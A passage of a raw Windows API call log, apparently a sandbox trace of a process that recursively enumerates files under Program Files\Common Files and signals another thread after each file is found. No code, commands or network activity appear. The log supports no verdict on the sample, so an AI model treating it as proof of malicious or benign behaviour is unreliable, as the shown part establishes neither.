ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.760] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x275e640 | out: lpFindFileData=0x275e640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0276.760] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0276.760] GetProcessHeap () returned 0x550000 [0276.760] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0276.760] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0276.760] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0276.760] ResetEvent (hEvent=0xe0) returned 1 [0276.760] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0276.777] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0276.778] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.778] GetProcessHeap () returned 0x550000 [0276.778] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.778] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0276.778] ResetEvent (hEvent=0xe0) returned 1 [0276.778] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0276.793] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0276.793] ResetEvent (hEvent=0xe0) returned 1 [0276.793] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0276.810] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0276.810] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0276.810] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0276.811] GetProcessHeap () returned 0x550000 [0276.811] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0276.811] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0276.811] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0276.811] GetProcessHeap () returned 0x550000 [0276.811] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0276.811] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0276.811] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0276.811] GetProcessHeap () returned 0x550000 [0276.811] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5a4370 | out: hHeap=0x550000) returned 1 [0276.813] FindNextFileW (in: hFindFile=0x639648, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x216d4660, ftCreationTime.dwHighDateTime=0x1d56728, ftLastAccessTime.dwLowDateTime=0xccfafe00, ftLastAccessTime.dwHighDateTime=0x1d58eba, ftLastWriteTime.dwLowDateTime=0xccfafe00, ftLastWriteTime.dwHighDateTime=0x1d58eba, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="spgagentservice.exe", cAlternateFileName="SPGAGE~1.EXE")) returned 1 [0276.813] ResetEvent (hEvent=0xe0) returned 1 [0276.813] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0276.827] FindNextFileW (in: hFindFile=0x639648, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0276.827] GetProcessHeap () returned 0x550000 [0276.827] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5a4370 [0276.828] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0276.828] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.828] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0276.828] GetProcessHeap () returned 0x550000 [0276.828] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0276.828] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0276.829] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.829] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0276.829] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0276.830] ResetEvent (hEvent=0xe0) returned 1 [0276.830] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0276.845] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0276.845] GetProcessHeap () returned 0x550000 [0276.845] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0276.846] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0276.846] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.846] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0276.846] ResetEvent (hEvent=0xe0) returned 1 [0276.846] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0276.860] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0276.860] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0276.860] GetProcessHeap () returned 0x550000 [0276.860] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0276.860] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0276.861] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0276.861] ResetEvent (hEvent=0xe0) returned 1 [0276.861] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0276.871] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0276.871] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0276.871] ResetEvent (hEvent=0xe0) returned 1 [0276.871] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0276.901] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0276.901] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0276.902] ResetEvent (hEvent=0xe0) returned 1 [0276.902] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0276.917] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0276.918] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0276.918] ResetEvent (hEvent=0xe0) returned 1 [0276.918] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0276.960] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0276.960] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0276.960] ResetEvent (hEvent=0xe0) returned 1 [0276.960] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0276.975] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0276.975] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0276.975] ResetEvent (hEvent=0xe0) returned 1 [0276.975] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0277.048] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0277.048] ResetEvent (hEvent=0xe0) returned 1 [0277.048] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0277.286] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0277.286] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0277.286] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0277.286] GetProcessHeap () returned 0x550000 [0277.286] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.286] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0277.286] ResetEvent (hEvent=0xe0) returned 1 [0277.286] WaitForSingleObject (hHandle=0xe0, 